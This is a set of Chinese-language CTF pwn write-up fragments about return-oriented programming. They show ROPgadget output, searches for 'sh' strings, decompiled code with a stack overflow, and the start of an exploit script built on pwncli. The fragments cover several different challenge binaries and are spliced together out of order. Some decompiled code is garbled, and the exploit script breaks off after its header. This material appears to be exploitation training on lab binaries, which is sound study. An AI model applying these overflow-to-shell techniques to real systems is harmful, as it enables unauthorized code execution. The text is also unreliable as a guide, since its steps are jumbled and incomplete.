➜ ROPgadget --binary ./gift_pwn --only "pop|ret" Gadgets information ============================================================ 0x000000000040066c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040066e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400670 : pop r14 ; pop r15 ; ret 0x0000000000400672 : pop r15 ; ret 0x000000000040066b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040066f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400520 : pop rbp ; ret 0x0000000000400673 : pop rdi ; ret 0x0000000000400671 : pop rsi ; pop r15 ; ret 0x000000000040066d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400451 : ret
intinfo() { puts("this time there won't be sh;"); returnputs("ready for your answer:"); }
更方便的是通过ROPgadget我们可以直接获取sh字符串的地址
1 2 3 4
➜ ROPgadget --binary ./rdi --string "sh" Strings information ============================================================ 0x000000000040080d : sh
所以接下来只需要寻找system函数和用于传参的gadget。
函数窗口发现sytem函数,system函数在plt表。
这里只需要知道调用plt表就是调用函数
通过ROPgadget获取gadget
找到我们需要的pop_rdi和ret了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➜ ROPgadget --binary ./rdi --only "pop|ret" Gadgets information ============================================================ 0x00000000004007cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007ce : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007d0 : pop r14 ; pop r15 ; ret 0x00000000004007d2 : pop r15 ; ret 0x00000000004007cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004007cf : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400608 : pop rbp ; ret 0x00000000004007d3 : pop rdi ; ret 0x00000000004007d1 : pop rsi ; pop r15 ; ret 0x00000000004007cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400546 : ret
system("echo welcome to xzctf,have a fan time\n"); puts("please tell me your name"); read(0, &::buf, 0x100u); puts("now it's your play time~"); read(0, buf, 0x30u); return0; }
发现调用system函数执行echo命令输入一串字符。
puts输出字符,并调用read函数读入内容到buf。
这里的buf是bss段变量。
1 2 3 4 5 6 7 8 9 10 11 12
.bss:0804A080 public buf .bss:0804A080 buf db ? ; ; DATA XREF: dofunc+2E↑o .bss:0804A081 db ? ; .bss:0804A082 db ? ; .bss:0804A083 db ? ; .bss:0804A084 db ? ; .bss:0804A085 db ? ; .bss:0804A086 db ? ; .bss:0804A087 db ? ; .bss:0804A088 db ? ; .bss:0804A089 db ? ; .bss:0804A08A db ? ;
接下来又用puts函数输出一串字符。
并且又调用read函数读入内容到buf,这里的buf是局部变量。
read函数限制读入0x30个字符,而变量长度为28。判断存在栈溢出。
并且前面看到了system函数,则plt表一定存在system函数。
接下来寻找sh类字符串,即/bin/sh或sh。
通过ROPgadget可以搜索程序字符串。
没发现有sh类字符串。
1 2 3
➜ ROPgadget --binary ./ezr0p --string "sh" Strings information ============================================================
➜ ROPgadget --binary ./shell --only "pop|ret" Gadgets information ============================================================ 0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005e0 : pop r14 ; pop r15 ; ret 0x00000000004005e2 : pop r15 ; ret 0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004004b8 : pop rbp ; ret 0x00000000004005e3 : pop rdi ; ret 0x00000000004005e1 : pop rsi ; pop r15 ; ret 0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400416 : ret
拿到pop_rdi和ret。
接下来根据以上信息构造exp。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#!/usr/bin/env python3 from pwncli import * cli_script()